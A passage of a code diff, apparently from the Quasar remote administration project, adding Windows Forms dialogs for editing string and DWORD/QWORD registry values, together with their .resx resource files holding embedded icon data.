ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
</root>
+143
View File
@@ -0,0 +1,143 @@
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditString
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditString));
this.label1 = new System.Windows.Forms.Label();
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label2 = new System.Windows.Forms.Label();
this.valueDataTxtBox = new System.Windows.Forms.TextBox();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.SuspendLayout();
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 12);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueNameTxtBox.Location = new System.Drawing.Point(12, 28);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20);
this.valueNameTxtBox.TabIndex = 3;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(9, 60);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// valueDataTxtBox
//
this.valueDataTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76);
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20);
this.valueDataTxtBox.TabIndex = 0;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(280, 111);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(199, 111);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// FrmRegValueEditString
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(364, 146);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.valueDataTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditString";
this.ShowIcon = false;
this.ShowInTaskbar = false;
this.Text = "Edit String";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label label1;
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.TextBox valueDataTxtBox;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
}
}
@@ -0,0 +1,31 @@
using System;
using System.Windows.Forms;
using Quasar.Common.Models;
using Quasar.Common.Utilities;
using Quasar.Server.Registry;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditString : Form
{
private readonly RegValueData _value;
public FrmRegValueEditString(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data);
}
private void okButton_Click(object sender, EventArgs e)
{
_value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text);
this.Tag = _value;
this.DialogResult = DialogResult.OK;
this.Close();
}
}
}
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAf/8CVar/AwAA
AAAAAAAAAAAAAG3a/gdOxPUaSLz4Kki2+CpHt/QZVdT/BgAAAAAAAAAAAAAAAFWq/wMAf38CAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//AgB/
/wIAAAAATLLyFD64+WI8vPqoPLv52zm6+PU3uvn5Nrj4+Tez9fQ4r/TYN6rxpTmk7l1Pn+8QAAAAAAB/
/wIAVaoDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////DOb1/zPe+f9X3Pr/Z978
/2bh+f9V5PT/Mf///woAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAA////AX9//wIAAP8BAAD/AQAA/wEAAP8BAAD/AQAA/wEAAAAA////A6r//wMAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAKr//wP///8DAAAAAAAA/wEAAP8BAAD/AQAA/wEAAP8BAAD/AX9/
/wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/Af//
/wH///8Cv7//BL///wS///8E////A////wL///8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAA//Af///H4///OBz//kACf/0AAL/6AABf9AAAL+gAABfQAAAL0AAAC6AA
AAWgAAAFYAAABUAAAAJAAAACQAAAAkAAAAJAAAACQAAAAoAAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAA
AACAAAABgAAAAZAAAgn/8A//gE/yAf/gD/8=
</value>
</data>
</root>
+192
View File
@@ -0,0 +1,192 @@
using Quasar.Server.Controls;
using Quasar.Server.Enums;
namespace Quasar.Server.Forms
{
partial class FrmRegValueEditWord
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRegValueEditWord));
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.baseBox = new System.Windows.Forms.GroupBox();
this.radioDecimal = new System.Windows.Forms.RadioButton();
this.radioHexa = new System.Windows.Forms.RadioButton();
this.valueDataTxtBox = new WordTextBox();
this.baseBox.SuspendLayout();
this.SuspendLayout();
//
// valueNameTxtBox
//
this.valueNameTxtBox.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20);
this.valueNameTxtBox.TabIndex = 5;
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(9, 11);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
this.label1.TabIndex = 10;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// label2
//
this.label2.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(9, 53);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
this.label2.TabIndex = 9;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.cancelButton.Location = new System.Drawing.Point(271, 128);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
//
// okButton
//
this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
this.okButton.Location = new System.Drawing.Point(190, 128);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
// baseBox
//
this.baseBox.Controls.Add(this.radioDecimal);
this.baseBox.Controls.Add(this.radioHexa);
this.baseBox.Location = new System.Drawing.Point(190, 53);
this.baseBox.Name = "baseBox";
this.baseBox.Size = new System.Drawing.Size(156, 63);
this.baseBox.TabIndex = 6;
this.baseBox.TabStop = false;
this.baseBox.Text = "Base";
//
// radioDecimal
//
this.radioDecimal.AutoSize = true;
this.radioDecimal.Location = new System.Drawing.Point(14, 40);
this.radioDecimal.Name = "radioDecimal";
this.radioDecimal.Size = new System.Drawing.Size(63, 17);
this.radioDecimal.TabIndex = 4;
this.radioDecimal.Text = "Decimal";
this.radioDecimal.UseVisualStyleBackColor = true;
//
// radioHexa
//
this.radioHexa.AutoSize = true;
this.radioHexa.Checked = true;
this.radioHexa.Location = new System.Drawing.Point(14, 17);
this.radioHexa.Name = "radioHexa";
this.radioHexa.Size = new System.Drawing.Size(86, 17);
this.radioHexa.TabIndex = 3;
this.radioHexa.TabStop = true;
this.radioHexa.Text = "Hexadecimal";
this.radioHexa.UseVisualStyleBackColor = true;
this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged);
//
// valueDataTxtBox
//
this.valueDataTxtBox.IsHexNumber = true;
this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70);
this.valueDataTxtBox.MaxLength = 8;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20);
this.valueDataTxtBox.TabIndex = 0;
this.valueDataTxtBox.Text = "0";
this.valueDataTxtBox.Type = WordType.DWORD;
//
// FrmRegValueEditWord
//
this.AcceptButton = this.okButton;
this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(358, 163);
this.Controls.Add(this.valueDataTxtBox);
this.Controls.Add(this.cancelButton);
this.Controls.Add(this.baseBox);
this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.KeyPreview = true;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditWord";
this.ShowIcon = false;
this.Text = "Edit";
this.baseBox.ResumeLayout(false);
this.baseBox.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private System.Windows.Forms.GroupBox baseBox;
private System.Windows.Forms.RadioButton radioDecimal;
private System.Windows.Forms.RadioButton radioHexa;
private Controls.WordTextBox valueDataTxtBox;
}
}
@@ -0,0 +1,80 @@
using System;
using System.Windows.Forms;
using Microsoft.Win32;
using Quasar.Common.Models;
using Quasar.Common.Utilities;
using Quasar.Server.Enums;
namespace Quasar.Server.Forms
{
public partial class FrmRegValueEditWord : Form
{
private readonly RegValueData _value;
private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?";
private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?";
public FrmRegValueEditWord(RegValueData value)
{
_value = value;
InitializeComponent();
this.valueNameTxtBox.Text = value.Name;
if (value.Kind == RegistryValueKind.DWord)
{
this.Text = "Edit DWORD (32-bit) Value";
this.valueDataTxtBox.Type = WordType.DWORD;
this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x");
}
else
{
this.Text = "Edit QWORD (64-bit) Value";
this.valueDataTxtBox.Type = WordType.QWORD;
this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x");
}
}
private void radioHex_CheckboxChanged(object sender, EventArgs e)
{
if (valueDataTxtBox.IsHexNumber == radioHexa.Checked)
return;
if(valueDataTxtBox.IsConversionValid() || IsOverridePossible())
valueDataTxtBox.IsHexNumber = radioHexa.Checked;
else
radioDecimal.Checked = true;
}
private void okButton_Click(object sender, EventArgs e)
{
if (valueDataTxtBox.IsConversionValid() || IsOverridePossible())
{
_value.Data = _value.Kind == RegistryValueKind.DWord
? ByteConverter.GetBytes(valueDataTxtBox.UIntValue)
: ByteConverter.GetBytes(valueDataTxtBox.ULongValue);
this.Tag = _value;
this.DialogResult = DialogResult.OK;
}
else
{
this.DialogResult = DialogResult.None;
}
this.Close();
}
private DialogResult ShowWarning(string msg, string caption)
{
return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
}
private bool IsOverridePossible()
{
string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING;
return ShowWarning(message, "Overflow") == DialogResult.Yes;
}
}
}
@@ -0,0 +1,197 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>
AAABAAEAICAAAAEAIACoEAAAFgAAACgAAAAgAAAAQAAAAAEAIAAAAAAAABAAABMLAAATCwAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP8BAP//AQD/
/wEAf/8CAH//AgD//wEA//8BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//8BP7//BH//
/wIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB///8CP7//BAAA/wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
